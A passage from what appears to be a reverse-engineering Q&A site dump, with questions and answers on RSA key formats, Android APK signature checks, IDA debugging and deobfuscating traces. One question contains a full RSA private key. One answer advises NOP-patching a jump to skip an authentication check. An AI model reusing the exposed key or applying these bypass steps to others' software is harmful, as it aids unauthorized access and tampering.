&lt;p&gt;MIIEpAIBAAKCAQEAs7d+tTj2F6hEHNzx+xM8HnMVaJTx4ElALVw8p8dLacao6BkT3Prq7j5GvuBZNO0hwjrcmJcpwYm/eR2nW1lu9BoyWTggU5nsDKOs7qkCOPNYm1uEJ/i654uAHmXQCk/dSQW/xlCnnVlgNLPcIP2JQgKp9xh5nXQuffXe/eVT46uOlS4PMEf3P+HhyMqKZlNs8vB0ag9gfebboKjjVw74PANCCpGalQpaAHWXvy9crI0JbzyssMoiinNQDdK9CEUe/7erAMB9kvImB6dAo5RQaghasPtWJ6IOb78SKpqzae4vthyYNiDYSKcrFgR/JlRoNprESem08HNhr44QGd99VwIDAQABAoIBAQCZ7oOjKaTv4npk1oKVcYY+9ofRyjHa0CMeNzDk7HkVoskt87zlvC3Z3pGuEG+YO7x8pvon4OItGZVdYh7kyZeVkZKqhL57nQ1oThFjYnO64AR3HU33Br7gcMZOQxqMmpeJYlk+vfqzdchHm/7iawdT+QAn21jfmpHv5dcYVYMjL27auk0sbHl/8Xfu1+buZCStw6+DUuYRNCZVIvChM0dhhFIx5nCLYwyvDKJKd/WXs+wuA4FyAX9msedsHNmdK1pqKfqrm6QqiexEsf8g7mBvnn+VVr2adOXBuD2HMX8gCMp3kLTwIYKS9ITKQKPD1kxUFjS7zJA/HCysWXGm+VfxAoGBAL9USGVp4v93pPrU6X79AEiXix0tXntCIcPe8q1soEJ69Cu/WSzyQ5BI2Q7/JIgQ6/b69nhRxLHH3WRvU3Lm6etGNg9zfO26LMC1oojO789Ajldug1LJkMJHCjYwhTKLSnZzLDklGha6fTfgrBS87IeQgSFLvbVDrOyzGn0+Zw+FAoGBAPB2Yv7oSi4F5pl6KN+su8FgQXZAyyhdIjYmtlbg5sIjCdWt7ziIs4rRcgF9RnRT7lPoMeKod/eDaqGlwZ50QxQtXB3K/AkqL1w5UUWO4MnPoVP47v4iuU5RYI6YvVs2CaPJ+HDwngjHgw33Sdlr8O3tYz+xMY2gg78qRA/sSPorAoGAR2Tk6urbKKb1qh+ezaMM4wmhgI64bdgcj2F3Pt2E46nLyTNKzGnOal20mVL9x8RAuNWm+PjSI+DHrT2ZbwvZh9CYRaW7nV3Wa0ab0t8dP0IAm4GCgXbzjHtDxTrPyS+O5qpNezlsBcUrCpnMvKROwrtaZBlGPgh105F1tfx+Kp0CgYBClGUAs4ymhZe98ycSF5+9AUve1D3sJS1t1PYzw/3gzxbQBWLxQliEHU31v5wcZYjdzrLRUVg2PjruGxkrKIHSOmUBEs0KNJX8cRphqhfviP/gYlK6Jx8r4jhcA0qa0LGGmkuh6d24DJXq7geSneKN3mbWoddYoZMZATjrN79VFQKBgQCNmfDwvv+o+tI3VA7XAZnefG2TJFBRdBFeQQMZV+wpmQF+ixx9X5iJpi/njh1TLcXvQfppTkmspdUph9j3D5ZBNQbkcU4RAG287DwxjWIR3n+FSLSzer7dKy+Ws2ew68/QFmxlgqZgzp95t074O7C7yHYE/e/Dsr/LEhWy+codNQ==&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="26906" LastActivityDate="2019-01-02T08:50:10.040" Title="RSA Decryption?" Tags="|decryption|hex|cryptography|" AnswerCount="2" CommentCount="5" ClosedDate="2019-01-05T04:56:32.427" ContentLicense="CC BY-SA 4.0" />
  <row Id="20234" PostTypeId="1" CreationDate="2018-12-30T10:00:05.543" Score="2" ViewCount="408" Body="&lt;p&gt;I'm reverse engineering a &lt;strong&gt;very&lt;/strong&gt; popular Android app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They perform some type of signature verification on the APK, however they do it without: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Calling &lt;code&gt;PackageManager.signatures&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Calling &lt;code&gt;PackageInfo.signingInfo&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Instantiating a &lt;code&gt;JarFile&lt;/code&gt; or &lt;code&gt;JarEntry&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Calling native functions(there is a native library with signature verification code, however it has no &lt;code&gt;JNI_onLoad&lt;/code&gt; and the function is not called)&lt;/li&gt;&#xA;&lt;li&gt;Directly accessing the &lt;code&gt;META-INF&lt;/code&gt; directory&lt;/li&gt;&#xA;&lt;li&gt;Utilizing SafetyNet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have verified that the APK is performing signature verification and not any other type of tamper-detection by resigning the APK and not modifying any files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can think of is that the APK is using reflection to call a method whose signature is encrypted or encoded. &lt;/p&gt;&#xA;" OwnerUserId="26908" LastActivityDate="2018-12-30T10:00:05.543" Title="Android APK is somehow verifying package signatures without calling PackageManager.signatures" Tags="|android|apk|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20235" PostTypeId="2" ParentId="20219" CreationDate="2018-12-30T11:14:38.637" Score="7" Body="&lt;p&gt;This is actually quite a straightforward C++ string function. It's just that, behind the scenes, the C++ &lt;code&gt;std::string&lt;/code&gt; class is actually a typedef of a template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef basic_string&amp;lt;char&amp;gt; string;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;basic_string itself is declared as -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt; class CharT, &#xA;          class Traits = std::char_traits&amp;lt;CharT&amp;gt;, &#xA;          class Allocator = std::allocator&amp;lt;CharT&amp;gt;&#xA;        &amp;gt; class basic_string;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, a &lt;code&gt;std::string&lt;/code&gt; is really a -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::basic_string&amp;lt; char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Applying this in reverse to your mangled name and (and removing the __1's - see below) your function is simply the standard library string function - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::string operator+( char const* lhs, std::string const&amp;amp; rhs )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This concatenates a C style string and a std::string, returning the result as a new std::string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function is called from x86-64 assembly language as follows -&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;rdi&lt;/code&gt; is a pointer to caller allocated memory for the returned std::string&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rsi&lt;/code&gt; is the first argument and hence a pointer to a C style (zero terminated) string&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; is the second argument and hence a reference (or pointer is assembly language terms) to a C++ std::string&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Details on calling convention can be found here &lt;a href=&quot;https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf&quot; rel=&quot;noreferrer&quot;&gt;AMD64 ABI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the above, I've ignored the __1 parts of the symbol. For details on where these come from see the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/29293394/where-does-the-1-symbol-come-from-when-using-llvms-libc&quot;&gt;Where does the __1 come from when using LLVM's libc++&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11016220/what-are-inline-namespaces-for&quot;&gt;What are inline namespaces for?&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2018-12-30T11:14:38.637" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20237" PostTypeId="2" ParentId="20233" CreationDate="2018-12-30T12:56:58.027" Score="0" Body="&lt;p&gt;First, the first sequence of hexadecimal (the key) and the last (&lt;code&gt;MIIE..&lt;/code&gt;) are exactly the same in different encoding (namely base64 encoding). This blob is either a key or a certificate.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, we are missing the tags at begin and end of file telling what kind of format it is. Something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&#xA;MIIEpAIBAAKCA...&#xA;-----END RSA PRIVATE KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is formatted as an ASN.1 file format (see &lt;a href=&quot;https://tls.mbed.org/kb/cryptography/asn1-key-structures-in-der-and-pem&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for more).&lt;/p&gt;&#xA;&lt;p&gt;What you should do:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You should first find the kind of data that is encoded here before applying the decryption algorithm.&lt;/p&gt;&#xA;&lt;p&gt;You say that it is an RSA key, so you might have some clue where to start from.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, once you identified the key format, you can use &lt;code&gt;openssl&lt;/code&gt; to decrypt your message (look on the web, there are plenty of tutorials about it).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-01-02T08:50:10.040" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20238" PostTypeId="1" AcceptedAnswerId="20242" CreationDate="2018-12-30T13:30:59.620" Score="1" ViewCount="2043" Body="&lt;p&gt;I was going to debug something but I see IDA 6.8 + hexrays doesn't show the debugger tab in the menu for some .exe files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example when I didn't load any .exe:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pB73k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pB73k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is another example when I'm loading the .exe I want to debug:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4SNve.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4SNve.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I debug this .exe? Maybe with a plugin for .net assembly?&lt;/p&gt;&#xA;" OwnerUserId="26911" LastActivityDate="2018-12-30T18:37:22.353" Title="Can't find debugger in IDA PRO menu" Tags="|ida|debugging|idapro-sdk|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20239" PostTypeId="1" CreationDate="2018-12-30T14:20:06.730" Score="1" ViewCount="84" Body="&lt;p&gt;I'm having a hard time figuring out whatever the hell this is doing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rax, [rbp+var_720]&#xA;mov     [rbp+var_458], rax&#xA;mov     rax, [rbp+var_458]&#xA;mov     [rbp+command_], rax&#xA;mov     rax, [rbp+something_weird_idk]&#xA;mov     [rbp+var_4D8], rax&#xA;mov     rax, [rbp+var_4D8]&#xA;mov     [rbp+var_4D0], rax&#xA;mov     rax, [rbp+var_4D0]&#xA;mov     [rbp+var_4C8], rax&#xA;mov     rax, [rbp+var_4C8]&#xA;movzx   ecx, byte ptr [rax]&#xA;and     ecx, 1               &amp;lt;- Breakpoint here&#xA;cmp     ecx, 0&#xA;jz      loc_100003CFE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is NOT jumping to loc_1000..., so if I understand correctly the &lt;code&gt;cmp&lt;/code&gt; instruction should return 1 (so true).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the breakpoint there, RAX is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__common:00000001000181C8 _command:                             &#xA;__common:00000001000181C8                                         &#xA;__common:00000001000181C8 sbb     [rcx+55h], al&#xA;__common:00000001000181CB push    rsp&#xA;__common:00000001000181CC db      48h, 45h&#xA;__common:00000001000181CC push    rsp&#xA;__common:00000001000181D0 db      49h, 43h&#xA;__common:00000001000181D0 push    r12&#xA;__common:00000001000181D4 add     [r8], r8b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though as always, no idea what this is doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, why does assembly move data through multiple variables? For example, before the breakpoint and after the &lt;code&gt;mov rax, [rbp+something_weird_idk]&lt;/code&gt;, it's basically moving &lt;code&gt;[rbp+something..]&lt;/code&gt; through multiple variables without doing anything. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="26890" LastEditorUserId="26890" LastEditDate="2018-12-30T14:27:01.300" LastActivityDate="2018-12-30T14:47:21.310" Title="What are those instructions doing?" Tags="|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20240" PostTypeId="2" ParentId="20239" CreationDate="2018-12-30T14:47:21.310" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I want to achieve is NOT jumping to loc_1000..., so if I&#xA;  understand correctly the cmp instruction should return 1 (so true).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could replace the &lt;code&gt;jz&lt;/code&gt; instruction with &lt;code&gt;nop&lt;/code&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With the breakpoint there, RAX is this Though as always, no idea what&#xA;  this is doing. Can anyone shed some light on this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This memory part is not code, but a string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat test.asm&#xA;BITS 64&#xA;&#xA;sbb     [rcx+55h], al&#xA;push    rsp&#xA;db      48h, 45h&#xA;push    rsp&#xA;db      49h, 43h&#xA;push    r12&#xA;add     [r8], r8b&#xA;&#xA;hexdump -Cv test&#xA;00000000  18 41 55 54 48 45 54 49  43 41 54 45 00 00        |.AUTHETICATE..|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, why does assembly move data through multiple variables? For&#xA;  example, before the breakpoint and after the mov rax,&#xA;  [rbp+something_weird_idk], it's basically moving [rbp+something..]&#xA;  through multiple variables without doing anything. Why is that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is typical from gcc when used without optimization options.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2018-12-30T14:47:21.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20241" PostTypeId="1" CreationDate="2018-12-30T15:47:53.013" Score="1" ViewCount="302" Body="&lt;p&gt;I have issue with debugging. When I try to load game executable to debugger and go to certain place in code, game window shows up but it is black and it looks freezed. I can't even go back to debugger to check what is wrong, I have to force closing of the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened while using Ollydbg and x32dbg.&#xA;I'm using Windows 7 64bit. Game is CT Special Forces: Fire for effect.&lt;/p&gt;&#xA;" OwnerUserId="26912" LastActivityDate="2021-01-19T14:03:35.407" Title="Issue with debugger - black screen and freeeze after loading game executable" Tags="|ollydbg|debugging|game-hacking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20242" PostTypeId="2" ParentId="20238" CreationDate="2018-12-30T18:37:22.353" Score="2" Body="&lt;p&gt;IDA does not support debugging .NET binaries or more specifically the &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Intermediate_Language&quot; rel=&quot;nofollow noreferrer&quot;&gt;CIL&lt;/a&gt; bytecode. To debug managed code you can use WinDbg with the SOS debugging extension (&lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;SOS.dll&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt; which in addition is able to use the decompiled code for debugging make the experience similar to debugging with source code.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2018-12-30T18:37:22.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20243" PostTypeId="1" CreationDate="2018-12-30T19:52:31.510" Score="3" ViewCount="380" Body="&lt;p&gt;I debug exe file in Ida , and put breakpoint in some address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a dump of this process that I can continue running it in another Pc (without Ida) from the point I pause it with breakPoint.&#xA;Running it simply from cmd or from c/cpp/c# code, not from Gui&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it passable I want :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Before I continue running it in another PC edit value in spesific address&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Running this process untill it will come to spesific address , then look thr value in spesific address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CreateRemoteThread&lt;/code&gt; not good for me of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VM not help me , because I want to merge it with code without VM .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can  I do it please? Thanks&lt;/p&gt;&#xA;" OwnerUserId="26837" LastEditorUserId="26837" LastEditDate="2018-12-30T21:08:47.203" LastActivityDate="2019-01-10T02:35:40.933" Title="How to wrap dump process and execute it in another PC" Tags="|ida|windows|dumping|exe|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20244" PostTypeId="2" ParentId="20241" CreationDate="2018-12-30T21:33:16.290" Score="0" Body="&lt;p&gt;probably anti-debugger, try enabling trace+logging to text file, then start tracing to see the last assembly instructions recorded. Also, if the window of the game appears before the crash, try putting a breakpoint right after ShowWindow/CreateWindow/CreateWindowEx/other window functions, then step to see where it freezes, or start tracing after the breakpoint that shows the window.&lt;/p&gt;&#xA;" OwnerUserId="26919" LastActivityDate="2018-12-30T21:33:16.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20245" PostTypeId="1" CreationDate="2018-12-30T21:57:35.153" Score="6" ViewCount="758" Body="&lt;p&gt;I'm analysing some binary trace, it's pretty much obfuscated. What I need to do is to understand work flow of its alghoritms. However I cannot find any reliable tool which would help me with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to convert these functions to LLVM IR and then optimize it but all of known to me tools weren't able to do that. As far as I remember only llvm-mctoll was generating suitable IR (but it was failing in most cases, probably because of lack of supported instructions), other generated a lot of useless junk code and after optimization it looked even worse. Other tools like Miasm or Angr optimized only IR, and that's not what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How am I supposed to do that? Optimizing it by hand is pretty easy but it's time consuming (it has about 4k asm instructions).&#xA;Does any tools that might help with such kind of optimising exists?&#xA;Where is the problem with creating them? As far as I understand theory it's quite easy, especially that I'm not analysing binary but trace so I don't have to care about proper flow paths, disassembling etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040135d esp=0255ff78 ebp=0255ff80 nv up ei ng nz na po nc 0040135d e94f9b0000       jmp     0040aeb1&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040aeb1 esp=0255ff78 ebp=0255ff80 nv up ei ng nz na po nc 0040aeb1 9c               pushfd&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040aeb2 esp=0255ff74 ebp=0255ff80 nv up ei ng nz na po nc 0040aeb2 c7042417830b58   mov     dword ptr [esp],580B8317h&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040aeb9 esp=0255ff74 ebp=0255ff80 nv up ei ng nz na po nc 0040aeb9 e96fdaffff       jmp     0040892d&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040892d esp=0255ff74 ebp=0255ff80 nv up ei ng nz na po nc 0040892d 881424           mov     byte ptr [esp],dl&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408930 esp=0255ff74 ebp=0255ff80 nv up ei ng nz na po nc 00408930 c7042432962f1b   mov     dword ptr [esp],1B2F9632h&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408937 esp=0255ff74 ebp=0255ff80 nv up ei ng nz na po nc 00408937 e993570000       jmp     0040e0cf&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040e0cf esp=0255ff74 ebp=0255ff80 nv up ei ng nz na po nc 0040e0cf 9c               pushfd&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040e0d0 esp=0255ff70 ebp=0255ff80 nv up ei ng nz na po nc 0040e0d0 60               pushad&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=0040e0d1 esp=0255ff50 ebp=0255ff80 nv up ei ng nz na po nc 0040e0d1 e825acffff       call    00408cfb&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408cfb esp=0255ff4c ebp=0255ff80 nv up ei ng nz na po nc 00408cfb c7442424c8b5ca7e mov     dword ptr [esp+24h],7ECAB5C8h&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408d03 esp=0255ff4c ebp=0255ff80 nv up ei ng nz na po nc 00408d03 c6042488         mov     byte ptr [esp],88h&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408d07 esp=0255ff4c ebp=0255ff80 nv up ei ng nz na po nc 00408d07 6812a1e14e       push    4EE1A112h&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408d0c esp=0255ff48 ebp=0255ff80 nv up ei ng nz na po nc 00408d0c 50               push    eax&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408d0d esp=0255ff44 ebp=0255ff80 nv up ei ng nz na po nc 00408d0d 8d64242c         lea     esp,[esp+2Ch]&#xA;eax=ffff8001 ebx=001603b6 ecx=77781e4c edx=00000000 esi=00401233 edi=00401233 eip=00408d11 esp=0255ff70 ebp=0255ff80 nv up ei ng nz na po nc 00408d11 e973d3ffff       jmp     00406089&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after optimizing by hand (if I didn't make any mistake):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub     esp, 4&#xA;mov     dword ptr [esp],1B2F9632h&#xA;sub     esp, 4&#xA;mov     dword ptr [esp],7ECAB5C8h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 1B2F9632h&#xA;push 7ECAB5C8h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;hr&gt;&#xA;Hi, it's again me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I took a deeper look at Triton and have written a simple peephole optimizer to get rid of usless instructions and these stack modifications. Original trace has 48k instructions, I ended up with something about 2k. There were still a lot crappy instructions but it was enough to completly devirtualize vm and understand shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying something harder, this is what I have. It looks like an IR level obfuscation, there is no any pattern. How would you approach this? I saw &lt;a href=&quot;https://github.com/JonathanSalwan/Tigress_protection&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; but it works on a functions that have one input, one output. I don't know will it work with a function that does a lot of computations with flags a lot of memory modifications. I have also seen &lt;a href=&quot;https://www.msreverseengineering.com/blog/2014/12/12/program-synthesis-in-reverse-engineering&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; talk by Rolf Rolles about synthesis. It looks great, maybe this should give better results?&#xA;Also is there any simple way to apply dead removal and constant folding at Triton IR level? Does any tools exist since I couldn't find anything?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rip=00000003de72158d sub     r11d,2AD65C0Bh&#xA;rip=00000003de721594 rol     r11d,1&#xA;rip=00000003de721597 movsx   rsi,ax&#xA;rip=00000003de72159b not     r11d&#xA;rip=00000003de72159e inc     cx&#xA;rip=00000003de7215a1 sete    bl&#xA;rip=00000003de7215a4 inc     r11d&#xA;rip=00000003de7215a7 cmc&#xA;rip=00000003de7215a8 movzx   si,spl&#xA;rip=00000003de7215ad add     r11,rax&#xA;rip=00000003de7215b0 adc     bh,ch&#xA;rip=00000003de7215b2 mov r9,100000000h&#xA;rip=00000003de7215bc ror     r12,56h&#xA;rip=00000003de7215c0 add     r11,r9&#xA;rip=00000003de7215c3 bsr     r12w,r8w&#xA;rip=00000003de7215c8 mov     r12,rsp&#xA;rip=00000003de7215cb rol     r14,cl&#xA;rip=00000003de7215ce cmp     r11b,0CCh&#xA;rip=00000003de7215d2 rol     bl,95h&#xA;rip=00000003de7215d5 sub     rsp,180h&#xA;rip=00000003de7215dc and     rsp,0FFFFFFFFFFFFFFF0h&#xA;rip=00000003de7215e3 sal     bh,98h&#xA;rip=00000003de7215e6 cmc&#xA;rip=00000003de7215e7 mov     rbx,r11&#xA;rip=00000003de7215ea sar     sil,cl&#xA;rip=00000003de7215ed and     rcx,14DB3A03h&#xA;rip=00000003de7215f4 shl     ch,cl&#xA;rip=00000003de7215f6 mov r14,0FFFFF8029E610000h&#xA;rip=00000003de721600 cmovno  cx,r13w&#xA;rip=00000003de721605 and     ecx,ebp&#xA;rip=00000003de721607 sub     rbx,r14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Registers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b0 rdx=ffff8a8e13e66ab0 rsi=0000000000003000 rdi=0000000000000010 rip=00000003de72158d rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=000000000ad2f6fe r12=0000000000000000 r13=0000000000000002 r14=0000000000000400 r15=ffff948059d63000 nv up ei ng nz ac po nc fffff803`de72158d 4181eb0b5cd62a  sub     r11d,2AD65C0Bh&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b0 rdx=ffff8a8e13e66ab0 rsi=0000000000003000 rdi=0000000000000010 rip=00000003de721594 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=00000000dffdf651 r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe cy 00000003`de721594 41d1c3          rol     r11d,1&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b0 rdx=ffff8a8e13e66ab0 rsi=0000000000003000 rdi=0000000000000010 rip=00000003de721597 rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=00000000bffbeca3 r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe cy 00000003`de721597 480fbff0        movsx   rsi,ax&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b0 rdx=ffff8a8e13e66ab0 rsi=0000000000000000 rdi=0000000000000010 rip=00000003de72159b rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=00000000bffbeca3 r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe cy 00000003`de72159b 41f7d3          not     r11d&#xA;rax=fffff8029e610000 rbx=0000000000000000 rcx=00000000000000b0 rdx=ffff8a8e13e66ab0 rsi=0000000000000000 rdi=0000000000000010 rip=00000003de72159e rsp=ffff8a8e13e66ca8 rbp=ffff8a8e13e66e40 r8=0000000000000000 r9=00000000000000af r10=ffff8a8e13e667e0 r11=000000004004135c r12=0000000000000000 r13=0000000000000002 r14=0000000000000000 r15=ffff948059d63000 nv up ei ng nz na pe 